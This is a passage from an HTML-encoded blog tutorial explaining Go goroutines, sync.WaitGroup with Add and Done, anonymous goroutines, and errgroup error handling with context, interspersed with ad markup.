parallelism&lt;/h2&gt;&#xA;&lt;p&gt;Before we begin, remember that parallelism and concurrency are different. This post is too small to deal with such a broad topic, however there are two resources I want to highlight:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://ferestrepoca.github.io/paradigmas-de-programacion/progconcurrente/concurrente_teoria/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Concurrent Programming by Felipe Restrepo Street&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/04/17/la-diferencia-entre-concurrencia-y-paralelismo.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Concurrency vs parallelism by Hector Patricio in The dojo blog&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I quote a sentence from the first resource that, IMHO, sums up the difference quite well:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A program is concurrent if it can support two or more actions **in&#xA;progress.&lt;/p&gt;&#xA;&lt;p&gt;A program is parallel if it can support two or more actions &lt;strong&gt;executing&#xA;simultaneously.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Felipe Restrepo Calle&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;If they still seem confusing and you don&amp;rsquo;t understand the difference, give those posts a read and you should be ready to move on.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;coroutines-in-go&#34;&gt;Coroutines in go&lt;/h2&gt;&#xA;&lt;p&gt;A &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://en.wikipedia.org/wiki/Coroutine&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;coroutine&lt;/a&gt;&#xA;, in go, is &lt;strong&gt;a function or method that runs concurrently with other functions or methods&lt;/strong&gt;. In go, corroutines are referred to as &lt;strong&gt;goroutines&lt;/strong&gt; or goroutines. Even the main function, &lt;em&gt;main&lt;/em&gt;, is executed inside one.&lt;/p&gt;&#xA;&lt;p&gt;Goroutines are used in design patterns, such as the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/&#34;&gt;worker-pool-design-pattern&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To generate a goroutine we add the keyword &lt;em&gt;go&lt;/em&gt; before a function. This will schedule the function for asynchronous execution.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hey&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hey again&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// hey&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above case, due to its asynchronous nature, the goroutine does not stop code execution. This implies that the body of the &lt;em&gt;main&lt;/em&gt; function continues its execution and **our goroutine never executes.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-3.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-3.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Goroutine operation in go&#34; width=&#34;1200&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;But then, how do we get our goroutine to run? The naive approach would be to use a sleep to pause the execution of the code. This, as you know, is nonsense, we can&amp;rsquo;t be putting sleeps everywhere, the flow of the program would be unnecessarily slowed down!&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Don&amp;#39;t&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sleep&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Second)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A better approach would be to create a &lt;strong&gt;WaitGroup&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;waitgroups-in-go&#34;&gt;WaitGroups in go&lt;/h2&gt;&#xA;&lt;p&gt;A &lt;strong&gt;WaitGroup&lt;/strong&gt; will stop the execution of the program and wait for the goroutines to be executed.&lt;/p&gt;&#xA;&lt;p&gt;Internally, a &lt;strong&gt;WaitGroup&lt;/strong&gt; works with a counter, when the counter is at zero the execution of the code will continue, while if the counter is greater than zero, it will wait for the other goroutines to finish executing.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;If waitgroup counter is greater than 0 it will continue the execution.&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And how do we change the counter value?&lt;/p&gt;&#xA;&lt;p&gt;To increment and decrement the counter of the &lt;strong&gt;WaitGroup&lt;/strong&gt; we will use the &lt;em&gt;Add&lt;/em&gt; and &lt;em&gt;Done&lt;/em&gt; methods, respectively.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-add-method&#34;&gt;The Add method&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;Add&lt;/em&gt; method increments the WaitGroup counter by &lt;em&gt;n&lt;/em&gt; units, where &lt;em&gt;n&lt;/em&gt; is the argument we pass to it.&lt;/p&gt;&#xA;&lt;p&gt;The trick is to call it every time you run a goroutine.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hey&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;the-done-method&#34;&gt;The Done Method&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Done&lt;/strong&gt; method is responsible for decrementing one unit of the &lt;strong&gt;WaitGroup&lt;/strong&gt; counter. We will call it to tell the &lt;strong&gt;WaitGroup&lt;/strong&gt; that the goroutine has finished and decrement the counter by one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, wg &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;sync.WaitGroup) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that the instance of the &lt;strong&gt;WaitGroup&lt;/strong&gt; (wg *) needs to be passed by reference or else we will not access the original &lt;strong&gt;WaitGroup&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;write&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, wg &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;sync.WaitGroup) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;defer&lt;/span&gt; wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tip: use &lt;em&gt;defer&lt;/em&gt; over the &lt;em&gt;Done&lt;/em&gt; method to ensure that it is the last thing to be executed.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-wait-2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/images/golang-goroutine-wait-2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Operation of a waiting group in go&#34; width=&#34;1200&#34; height=&#34;800&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Once the wg.wait counter becomes zero, program execution continues.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;writeInChannel&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;wg)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;anonymous-functions-in-goroutines&#34;&gt;Anonymous functions in goroutines&lt;/h3&gt;&#xA;&lt;p&gt;When using goroutines, it is quite common to use anonymous functions to avoid declaring a new function.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that the parentheses that appear after the body of the function execute the anonymous function that we declare and also receive its arguments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Text&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-handle-errors-in-goroutines-with-errgroup&#34;&gt;How to handle errors in goroutines with errgroup&lt;/h2&gt;&#xA;&lt;p&gt;Inside of goroutines things can go wrong, how can we handle those scenarios. Instead of calling our goroutine with &lt;em&gt;go&lt;/em&gt; we&amp;rsquo;re going to create a errgroup, this errgroup will have a function called go and its purpose is to call whatever function we pass as a goroutine, the function must return an error.&lt;/p&gt;&#xA;&lt;p&gt;And it works exactly in the same way as a sync group in Go, it&amp;rsquo;s going to wait for all the goroutines and if it finds and error we can handle it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;context&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;errors&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;golang.org/x/sync/errgroup&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group, _ &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; errgroup.&lt;span style=&#34;color:#57c7ff&#34;&gt;WithContext&lt;/span&gt;(context.&lt;span style=&#34;color:#57c7ff&#34;&gt;Background&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Go&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; errors.&lt;span style=&#34;color:#57c7ff&#34;&gt;New&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;new error inside goroutine&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;(); err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Group finished but with error: %v\n&amp;#34;&lt;/span&gt;, err)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;All tasks completed successfully with no errors&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;using-context-in-conjuction-with-errgroup&#34;&gt;Using context in conjuction with errgroup&lt;/h3&gt;&#xA;&lt;p&gt;We can also use context as its second parameter to return the context cancellation error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  group, ctx &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; errgroup.&lt;span style=&#34;color:#57c7ff&#34;&gt;WithContext&lt;/span&gt;(context.&lt;span style=&#34;color:#57c7ff&#34;&gt;Background&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group.&lt;span style=&#34;color:#57c7ff&#34;&gt;Go&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;an error occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;group.&lt;span 